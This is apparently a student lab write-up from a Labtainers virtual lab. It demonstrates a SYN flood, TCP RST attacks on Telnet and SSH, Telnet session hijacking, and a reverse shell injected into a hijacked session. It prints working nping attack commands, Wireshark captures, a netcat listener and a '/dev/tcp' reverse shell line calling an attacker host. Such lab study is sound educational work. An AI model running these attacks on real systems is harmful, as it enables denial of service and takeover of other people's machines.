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TCP SYN Flood Attack Simulation and Network Traffic Analysis

Overview:

For this project I performed a simulated attack on the TCP/IP protocol to analyze how denial-of-service (DoS) attacks can be implemented through incomplete TCP handshakes. Using the nping tool, I sent out multiple SYN requests to the target server to show how half open connections can take up server resources. I then used Wireshark for packet capture and traffic inspection to document the changes in the network. Down below you will see detailed screenshots of the attack that showcase the steps taken throughout.

Tools & Environment:

- Labtainers (virtual lab)
- Wireshark for packet capture and traffic inspection
- Nping and Netcat for network probing and connection simulation

Technical Tasks:

- Executed SYN flood attacks using nping to emulate malicious traffic patterns.
- Captured and analyzed live network traffic in Wireshark to find incomplete TCP handshakes.
- Observed how excessive SYN requests led to resource exhaustion on the target server.
- Verified server disruption under sustained load, confirming a successful denial-of-service attack.

Task 1 - SYN Flooding Attack

1. Check the TCP Backlog Size

```
ubuntu@client:~$ sudo sysctl -q net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 512
```

2. Monitor the Server

```
admin@server:~$ sudo sysctl -q net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 512
admin@server:~$ netstat -na
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.11:41047        0.0.0.0:*               LISTEN
tcp6       0      0 :::21                   :::*                     LISTEN
tcp6       0      0 :::23                   :::*                     LISTEN
tcp6       0      0 :::22                   :::*                     LISTEN
udp        0      0 127.0.0.11:48464        0.0.0.0:*
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State      I-Node  Path
unix    3      [ ]         STREAM     CONNECTED  178502
unix    3      [ ]         STREAM     CONNECTED  163075
unix    2      [ ]         DGRAM      178567     /run/user/1000/systemd/notify
unix    2      [ ACC ]     STREAM     LISTENING  178570     /run/user/1000/systemd/private
unix    2      [ ACC ]     STREAM     LISTENING  178576     /run/user/1000/bus
unix    3      [ ]         STREAM     CONNECTED  163918     /run/systemd/journal/stdout
unix    3      [ ]         STREAM     CONNECTED  163949     /run/dbus/system_bus_socket
unix    3      [ ]         STREAM     CONNECTED  163917
unix    3      [ ]         STREAM     CONNECTED  162949
unix    2      [ ]         DGRAM      162154
unix    3      [ ]         STREAM     CONNECTED  163076     /run/systemd/journal/stdout
unix    3      [ ]         DGRAM      159692     /run/systemd/notify
unix    2      [ ACC ]     STREAM     LISTENING  159695     /run/systemd/private
unix    2      [ ACC ]     STREAM     LISTENING  159697     /run/systemd/userdb/io.systemd.DynamicUser
unix    2      [ ]         DGRAM      161670
unix    2      [ ]         DGRAM      163954
unix    2      [ ]         DGRAM      159728     /run/systemd/journal/syslog
unix    6      [ ]         DGRAM      159734     /run/systemd/journal/dev-log
unix    2      [ ACC ]     STREAM     LISTENING  159736     /run/systemd/journal/stdout
unix    5      [ ]         DGRAM      159738     /run/systemd/journal/socket
unix    3      [ ]         STREAM     CONNECTED  178503     /run/systemd/journal/stdout
unix    2      [ ACC ]     STREAM     LISTENING  162143     /run/systemd/journal/io.systemd.journal
unix    2      [ ACC ]     STREAM     LISTENING  162864     /run/dbus/system_bus_socket
unix    3      [ ]         DGRAM      159693
unix    2      [ ]         DGRAM      163989
```

3. Launch SYN Flood Attack

```
Starting Nping 0.7.80 ( https://nmap.org/nping ) at 2025-02-22 03:31 UTC
SENT (0.0234s) TCP 18.109.125.66:56658 > 172.25.0.2:23 S ttl=64 id=28024 iplen=40 seq=1704736995 wi
n=1480
nping_event_handler(): READ-PCAP killed: Resource temporarily unavailable
Max rtt: N/A | Min rtt: N/A | Avg rtt: N/A
Raw packets sent: 1 (40B) | Rcvd: 0 (0B) | Lost: 1 (100.00%)
Nping done: 1 IP address pinged in 1.05 seconds
admin@server:~$ sudo nping --tcp -flags syn --source-ip rand -c 1 -p 23 172.25.0.2

Starting Nping 0.7.80 ( https://nmap.org/nping ) at 2025-02-22 03:31 UTC
SENT (0.0195s) TCP 133.182.32.137:43684 > 172.25.0.2:23 S ttl=64 id=39771 iplen=40 seq=1364211218 w
in=1480
```

4. Repeat the attack

5. Check results

```
admin@server:~$ netstat -na
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.11:41047       0.0.0.0:*              LISTEN
tcp6       0      0 :::21                  :::*                    LISTEN
tcp6       0      0 :::23                  :::*                    LISTEN
tcp6       0      0 :::22                  :::*                    LISTEN
tcp6       0      0 172.25.0.2:23         111.75.71.168:42989    SYN_RECV
tcp6       0      0 172.25.0.2:23         64.148.193.156:25038   SYN_RECV
tcp6       0      0 172.25.0.2:23         101.239.6.26:26484     SYN_RECV
tcp6       0      0 172.25.0.2:23         13.125.50.78:4141     SYN_RECV
udp        0      0 127.0.0.11:48464      0.0.0.0:*
```

6. Use Wireshark

*br-63668e8a5664					
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help					
Apply a display filter ... <Ctrl-/>					
No.	Time	Source	Destination	Protocol	Length Info
1	0.000000000	02:42:ac:19:00:02	Broadcast	ARP	42 Who has 172.25.0.9? Tell 172.25.0.2
2	0.000005742	02:42:ac:19:00:09	02:42:ac:19:00:02	ARP	42 172.25.0.9 is at 02:42:ac:19:00:09
3	0.000141648	172.25.0.2	18.109.125.66	TCP	58 23 → 56658 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0
4	1.001417245	172.25.0.2	18.109.125.66	TCP	58 [TCP Retransmission] 23 → 56658 [SYN, ACK] Seq=0 A
5	3.049133862	172.25.0.2	18.109.125.66	TCP	58 [TCP Retransmission] 23 → 56658 [SYN, ACK] Seq=0 A
6	3.419118846	172.25.0.2	133.182.32.137	TCP	58 23 → 43684 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0
7	4.456872300	172.25.0.2	133.182.32.137	TCP	58 [TCP Retransmission] 23 → 43684 [SYN, ACK] Seq=0 A
8	6.595762198	172.25.0.2	133.182.32.137	TCP	58 [TCP Retransmission] 23 → 43684 [SYN, ACK] Seq=0 A
9	7.081332791	172.25.0.2	18.109.125.66	TCP	58 [TCP Retransmission] 23 → 56658 [SYN, ACK] Seq=0 A
10	10.536662531	172.25.0.2	133.182.32.137	TCP	58 [TCP Retransmission] 23 → 43684 [SYN, ACK] Seq=0 A
11	15.208931808	172.25.0.2	18.109.125.66	TCP	58 [TCP Retransmission] 23 → 56658 [SYN, ACK] Seq=0 A
12	18.792967118	172.25.0.2	133.182.32.137	TCP	58 [TCP Retransmission] 23 → 43684 [SYN, ACK] Seq=0 A
13	31.593922792	172.25.0.2	18.109.125.66	TCP	58 [TCP Retransmission] 23 → 56658 [SYN, ACK] Seq=0 A
14	35.177621701	172.25.0.2	133.182.32.137	TCP	58 [TCP Retransmission] 23 → 43684 [SYN, ACK] Seq=0 A
15	40.296836633	02:42:ac:19:00:02	02:42:ac:19:00:09	ARP	42 Who has 172.25.0.9? Tell 172.25.0.2
16	40.297008623	02:42:ac:19:00:09	02:42:ac:19:00:02	ARP	42 172.25.0.9 is at 02:42:ac:19:00:09

Task 2 - TCP RST Attacks on Telnet and SSH connections

1. Establish a connection

```
ubuntu@client:~$ telnet 172.25.0.2
Trying 172.25.0.2...
Connected to 172.25.0.2.
Escape character is '^]'.
Ubuntu 20.04.2 LTS
server login: admin
Password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 6.8.0-52-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
```

2. Capture the TCP Stream

Time	Source	Destination	Protocol	Length	Info
0.000000000	172.25.0.101	224.0.0.251	MDNS	87	Standard query 0x0000 PTR _ipps._tcp.local, "QM" question PTR...
7.919379479	fe80::42:43ff:fee4::...	ff02::fb	MDNS	107	Standard query 0x0000 PTR _ipps._tcp.local, "QM" question PTR...
8.624755544	02:42:ac:19:00:03	Broadcast	ARP	42	Who has 172.25.0.2? Tell 172.25.0.3
8.625125338	02:42:ac:19:00:02	02:42:ac:19:00:03	ARP	42	172.25.0.2 is at 02:42:ac:19:00:02
8.625100001	172.25.0.3	172.25.0.2	TCP	74	38236 → 23 [SYN] Seq=0 Win=0 Len=0 MSS=1460 SACK_PERM TSv...
8.625418776	172.25.0.2	172.25.0.3	TCP	74	23 → 38236 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SA...
8.625466174	172.25.0.3	172.25.0.2	TCP	66	38236 → 23 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1147721041...
8.627365742	172.25.0.3	172.25.0.2	TELNET	93	Telnet Data ...
8.627402623	172.25.0.2	172.25.0.3	TCP	66	23 → 38236 [ACK] Seq=1 Ack=28 Win=65152 Len=0 TSval=214977146...
8.673532484	172.25.0.2	172.25.0.3	TELNET	78	Telnet Data ...
8.673950643	172.25.0.3	172.25.0.2	TCP	66	38236 → 23 [ACK] Seq=28 Ack=13 Win=64256 Len=0 TSval=11477210...
8.674039881	172.25.0.2	172.25.0.3	TELNET	105	Telnet Data ...
8.674064827	172.25.0.3	172.25.0.2	TCP	66	38236 → 23 [ACK] Seq=28 Ack=52 Win=64256 Len=0 TSval=11477210...
8.674220305	172.25.0.3	172.25.0.2	TELNET	140	Telnet Data ...
8.674333411	172.25.0.2	172.25.0.3	TCP	66	23 → 38236 [ACK] Seq=52 Ack=102 Win=65152 Len=0 TSval=2149771...
8.674164716	172.25.0.2	172.25.0.3	TELNET	69	Telnet Data ...

3. Craft the RST Packet

```
ubuntu@attacker:~$ sudo nping --tcp -flags rst --seq 492 --source-port 59730 -p 23 172.25.0.3

Starting Nping 0.7.01 ( https://nmap.org/nping ) at 2025-02-22 04:53 UTC
SENT (0.0196s) TCP 172.25.0.4:59730 > 172.25.0.3:23 R ttl=64 id=58676 iplen=40 seq=492 win=1480
SENT (1.0202s) TCP 172.25.0.4:59730 > 172.25.0.3:23 R ttl=64 id=58676 iplen=40 seq=492 win=1480
SENT (2.0226s) TCP 172.25.0.4:59730 > 172.25.0.3:23 R ttl=64 id=58676 iplen=40 seq=492 win=1480
SENT (3.0246s) TCP 172.25.0.4:59730 > 172.25.0.3:23 R ttl=64 id=58676 iplen=40 seq=492 win=1480
SENT (4.0259s) TCP 172.25.0.4:59730 > 172.25.0.3:23 R ttl=64 id=58676 iplen=40 seq=492 win=1480

Max rtt: N/A | Min rtt: N/A | Avg rtt: N/A
Raw packets sent: 5 (200B) | Rcvd: 0 (0B) | Lost: 5 (100.00%)
Nping done: 1 IP address pinged in 5.04 seconds
```

4. Execute the attack

*br-63668e8a5664					
No.	Time	Source	Destination	Protocol	Length Info
865	1109.6094114...	172.25.0.3	172.25.0.2	TELNET	67 Telnet Data ...
866	1109.6096414...	172.25.0.2	172.25.0.3	TELNET	67 Telnet Data ...
867	1109.6097102...	172.25.0.3	172.25.0.2	TCP	66 59730 → 23 [ACK] Seq=490 Ack=5334 Win=64128 Len=0 TSva
868	1109.6266350...	172.25.0.3	172.25.0.2	TELNET	67 Telnet Data ...
869	1109.6269440...	172.25.0.2	172.25.0.3	TELNET	67 Telnet Data ...
870	1109.6600673...	172.25.0.3	172.25.0.2	TCP	66 59730 → 23 [ACK] Seq=491 Ack=5335 Win=64128 Len=0 TSva
871	1258.3380799...	172.25.0.4	172.25.0.3	TCP	54 59730 → 23 [RST] Seq=69 Win=1480 Len=0
872	1259.3386059...	172.25.0.4	172.25.0.3	TCP	54 59730 → 23 [RST] Seq=69 Win=1480 Len=0
873	1260.3410419...	172.25.0.4	172.25.0.3	TCP	54 59730 → 23 [RST] Seq=69 Win=1480 Len=0
874	1261.3430162...	172.25.0.4	172.25.0.3	TCP	54 59730 → 23 [RST] Seq=69 Win=1480 Len=0
875	1262.3442943...	172.25.0.4	172.25.0.3	TCP	54 59730 → 23 [RST] Seq=69 Win=1480 Len=0

5. Repeat for ssh

```
ubuntu@client:~$ ssh admin@172.25.0.2
admin@172.25.0.2's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 6.8.0-52-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage
Last login: Sat Feb 22 06:49:49 2025
admin@server:~$
```

No.	Time	Source	Destination	Protocol	Length Info
248	730.146609647	172.25.0.3	172.25.0.2	TCP	66 44930 → 22 [FIN, ACK] Seq=
249	730.175513093	172.25.0.2	172.25.0.3	TCP	66 22 → 44930 [FIN, ACK] Seq=
250	730.175610547	172.25.0.3	172.25.0.2	TCP	66 44930 → 22 [ACK] Seq=51553
251	830.968528008	172.25.0.3	172.25.0.2	TCP	74 32994 → 22 [SYN] Seq=67293
252	830.968592323	172.25.0.2	172.25.0.3	TCP	74 22 → 32994 [SYN, ACK] Seq=
253	830.969013083	172.25.0.3	172.25.0.2	TCP	66 32994 → 22 [ACK] Seq=67293
254	830.971213571	172.25.0.3	172.25.0.2	SSHv2	107 Client: Protocol (SSH-2.0-
255	830.971251813	172.25.0.2	172.25.0.3	TCP	66 22 → 32994 [ACK] Seq=20356
256	831.002621961	172.25.0.2	172.25.0.3	SSHv2	107 Server: Protocol (SSH-2.0-
257	831.003013718	172.25.0.3	172.25.0.2	TCP	66 32994 → 22 [ACK] Seq=67293
258	831.004307445	172.25.0.3	172.25.0.2	SSHv2	1402 Client: Key Exchange Init
259	831.009160471	172.25.0.2	172.25.0.3	SSHv2	1122 Server: Key Exchange Init
260	831.015398478	172.25.0.3	172.25.0.2	SSHv2	114 Client: Elliptic Curve Dif
261	831.029085057	172.25.0.2	172.25.0.3	SSHv2	574 Server: Elliptic Curve Dif
262	831.036583141	172.25.0.3	172.25.0.2	SSHv2	82 Client: New Keys
263	831.077242040	172.25.0.2	172.25.0.3	TCP	66 22 → 32994 [ACK] Seq=20356

No.	Time	Source	Destination	Protocol	Length	Info
281	834.710575394	172.25.0.2	172.25.0.3	SSHv2	174	Server:
282	834.712490157	172.25.0.2	172.25.0.3	SSHv2	270	Server:
283	834.712563418	172.25.0.2	172.25.0.3	SSHv2	190	Server:
284	834.712633615	172.25.0.3	172.25.0.2	TCP	66	32994 → 22 [ACK] Seq=67295
285	834.849254024	172.25.0.2	172.25.0.3	SSHv2	142	Server:
286	834.890883468	172.25.0.3	172.25.0.2	TCP	66	32994 → 22 [ACK] Seq=67295
287	896.088335491	172.25.0.101	224.0.0.251	MDNS	87	Standard query 0x0000 PTR
288	906.288033837	fe80::42:e3ff:fee1::...	ff02::fb	MDNS	107	Standard query 0x0000 PTR
289	1076.24566563...	172.25.0.4	172.25.0.3	TCP	54	32994 → 22 [RST] Seq=67295
290	1077.2466622...	172.25.0.4	172.25.0.3	TCP	54	32994 → 22 [RST] Seq=67295
291	1078.2484999...	172.25.0.4	172.25.0.3	TCP	54	32994 → 22 [RST] Seq=67295
292	1079.2506087...	172.25.0.4	172.25.0.3	TCP	54	32994 → 22 [RST] Seq=67295
293	1080.2524795...	172.25.0.4	172.25.0.3	TCP	54	32994 → 22 [RST] Seq=67295
294	1081.5662138...	02:42:ac:19:00:04	02:42:ac:19:00:03	ARP	42	Who has 172.25.0.3? Tell 1
295	1081.5662923...	02:42:ac:19:00:03	02:42:ac:19:00:04	ARP	42	172.25.0.3 is at 02:42:ac:

Task 3: TCP Session Hijacking

1. Establish a Telnet Session

```
ubuntu@client:~$ telnet 172.25.0.2
Trying 172.25.0.2...
Connected to 172.25.0.2.
Escape character is '^['.
Ubuntu 20.04.2 LTS
server login: admin
Password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 6.8.0-52-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage
Last login: Sat Feb 22 07:05:42 UTC 2025 on pts/2
```

2. Monitor the session

Time	Source	Destination	Protocol	Length	Info
1903.9112421...	172.25.0.2	172.25.0.3	TELNET	67	Telnet Data ...
1903.9112858...	172.25.0.3	172.25.0.2	TCP	66	49602 → 23 [ACK] Seq=1780720596 Ack=1930151022 Win=64128 Len=...
1903.9278833...	172.25.0.3	172.25.0.2	TELNET	67	Telnet Data ...
1903.9281379...	172.25.0.2	172.25.0.3	TELNET	67	Telnet Data ...
1903.9467414...	172.25.0.3	172.25.0.2	TELNET	67	Telnet Data ...
1903.9484398...	172.25.0.2	172.25.0.3	TELNET	67	Telnet Data ...
1903.9891339...	172.25.0.3	172.25.0.2	TCP	66	49602 → 23 [ACK] Seq=1780720598 Ack=1930151024 Win=64128 Len=...
1904.0046181...	172.25.0.3	172.25.0.2	TELNET	67	Telnet Data ...
1904.0073155...	172.25.0.2	172.25.0.3	TELNET	67	Telnet Data ...
1904.0073643...	172.25.0.3	172.25.0.2	TCP	66	49602 → 23 [ACK] Seq=1780720599 Ack=1930151025 Win=64128 Len=...
1904.0309409...	172.25.0.3	172.25.0.2	TELNET	67	Telnet Data ...
1904.0312731...	172.25.0.2	172.25.0.3	TELNET	67	Telnet Data ...
1904.0444023...	172.25.0.3	172.25.0.2	TELNET	67	Telnet Data ...
1904.0447174...	172.25.0.2	172.25.0.3	TELNET	67	Telnet Data ...
1904.0796672...	172.25.0.3	172.25.0.2	TELNET	67	Telnet Data ...
1904.0799090...	172.25.0.2	172.25.0.3	TELNET	67	Telnet Data ...
1904.1200456...	172.25.0.3	172.25.0.2	TELNET	67	Telnet Data ...
1904.1204097...	172.25.0.2	172.25.0.3	TELNET	67	Telnet Data ...
1904.1400112...	172.25.0.3	172.25.0.2	TELNET	67	Telnet Data ...
1904.1407860...	172.25.0.2	172.25.0.3	TELNET	67	Telnet Data ...
1904.1813590...	172.25.0.3	172.25.0.2	TCP	66	49602 → 23 [ACK] Seq=1780720604 Ack=1930151030 Win=64128 Len=...

3. Inject Malicious Command

Time	Source	Destination	Protocol	Length	Info
1904.1200456...	172.25.0.3	172.25.0.2	TELNET	67	Telnet Data ...
1904.1204097...	172.25.0.2	172.25.0.3	TELNET	67	Telnet Data ...
1904.1400112...	172.25.0.3	172.25.0.2	TELNET	67	Telnet Data ...
1904.1407860...	172.25.0.2	172.25.0.3	TELNET	67	Telnet Data ...
1904.1813590...	172.25.0.3	172.25.0.2	TCP	66	49602 → 23 [ACK] Seq=1780720604 Ack=1930151030 Win=64128 Len=...
1920.1613261...	172.25.0.101	224.0.0.251	MDNS	87	Standard query 0x0000 PTR _ipps._tcp.local, "QM" question PTR...
1930.2891900...	fe80::42:e3ff:fee1::...	ff02::fb	MDNS	107	Standard query 0x0000 PTR _ipps._tcp.local, "QM" question PTR...
2444.9223541...	02:42:ac:19:00:04	Broadcast	ARP	42	Who has 172.25.0.2? Tell 172.25.0.4
2444.9224462...	02:42:ac:19:00:02	02:42:ac:19:00:04	ARP	42	172.25.0.2 is at 02:42:ac:19:00:02
2444.9224653...	172.25.0.4	172.25.0.2	TELNET	120	Telnet Data ...
2444.9225466...	172.25.0.2	172.25.0.4	TCP	54	23 → 34869 [RST] Seq=3372539650 Win=0 Len=0
2445.9237151...	172.25.0.4	172.25.0.2	TCP	120	[TCP Retransmission] 34869 → 23 [PSH, ACK] Seq=1150977367 Ack=...
2445.9238583...	172.25.0.2	172.25.0.4	TCP	54	23 → 34869 [RST] Seq=3372539650 Win=0 Len=0
2446.9260951...	172.25.0.4	172.25.0.2	TCP	120	[TCP Retransmission] 34869 → 23 [PSH, ACK] Seq=1150977367 Ack=...
2446.9261587...	172.25.0.2	172.25.0.4	TCP	54	23 → 34869 [RST] Seq=3372539650 Win=0 Len=0
2447.9274385...	172.25.0.4	172.25.0.2	TCP	120	[TCP Retransmission] 34869 → 23 [PSH, ACK] Seq=1150977367 Ack=...
2447.9275433...	172.25.0.2	172.25.0.4	TCP	54	23 → 34869 [RST] Seq=3372539650 Win=0 Len=0
2448.9309514...	172.25.0.4	172.25.0.2	TCP	120	[TCP Retransmission] 34869 → 23 [PSH, ACK] Seq=1150977367 Ack=...
2448.9310556...	172.25.0.2	172.25.0.4	TCP	54	23 → 34869 [RST] Seq=3372539650 Win=0 Len=0
2450.1408097...	02:42:ac:19:00:02	02:42:ac:19:00:04	ARP	42	Who has 172.25.0.4? Tell 172.25.0.2
2450.1408046...	02:42:ac:19:00:04	02:42:ac:19:00:02	ARP	42	172.25.0.4 is at 02:42:ac:19:00:04

Task 4. Reverse Shell Using TCP Session Hijacking

1. Set Up Netcat Listener

```
ubuntu@attacker:~$ nc -lvp 9090
Listening on [0.0.0.0] (family 0, port 9090)
```

2. Craft the Reverse Shell Command

```
admin@server:~$ /bin/bash -i > /dev/tcp/172.25.0.4/9090 0<&1 2>&1
```

3. Inject the Command

```
admin@server:~$ sudo nping --tcp -flags psh,ack --ack 3372539650 --seq 1150977367 --data 0242ac1900030242ac190002080045100034216a40004006c112ac190002ac1900030017da94449a8587c904df02801101fd585e00000101080a715f6c7c9be2a674 -p 23 172.25.0.2
sudo nping --tcp -flags psh,ack --ack 3372539650 --seq 1150977367 --data 0242ac1900030242ac190002080045100034216a40004006c112ac190002ac1900030017da94449a8587c904df02801101fd585e00000101080a715f6c7c9be2a674 -p 23 172.25.0.2
7da94449a8587c904df02801101fd585e00000101080a715f6c7c9be2a674 -p 23 172.25.0.2017

Starting Nping 0.7.80 ( https://nmap.org/nping ) at 2025-02-22 07:42 UTC
SENT (0.0162s) TCP 172.25.0.2:13019 > 172.25.0.2:23 PA ttl=64 id=31704 iplen=106 seq=1150977367 win=1480
RCVD (0.0176s) TCP 172.25.0.2:23 > 172.25.0.2:13019 R ttl=64 id=0 iplen=40 seq=3372539650 win=0
SENT (1.0176s) TCP 172.25.0.2:13019 > 172.25.0.2:23 PA ttl=64 id=31704 iplen=106 seq=1150977367 win=1480
RCVD (1.0178s) TCP 172.25.0.2:23 > 172.25.0.2:13019 R ttl=64 id=0 iplen=40 seq=3372539650 win=0
SENT (2.0188s) TCP 172.25.0.2:13019 > 172.25.0.2:23 PA ttl=64 id=31704 iplen=106 seq=1150977367 win=1480
RCVD (2.0209s) TCP 172.25.0.2:23 > 172.25.0.2:13019 R ttl=64 id=0 iplen=40 seq=3372539650 win=0
SENT (3.0233s) TCP 172.25.0.2:13019 > 172.25.0.2:23 PA ttl=64 id=31704 iplen=106 seq=1150977367 win=1480
RCVD (3.0258s) TCP 172.25.0.2:23 > 172.25.0.2:13019 R ttl=64 id=0 iplen=40 seq=3372539650 win=0
SENT (4.0277s) TCP 172.25.0.2:13019 > 172.25.0.2:23 PA ttl=64 id=31704 iplen=106 seq=1150977367 win=1480
```

4. Check Connection

```
ubuntu@attacker:~$ nc -lvp 9090
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [172.25.0.2] port 9090 [tcp/*] accepted (family 2, sport 41606)
```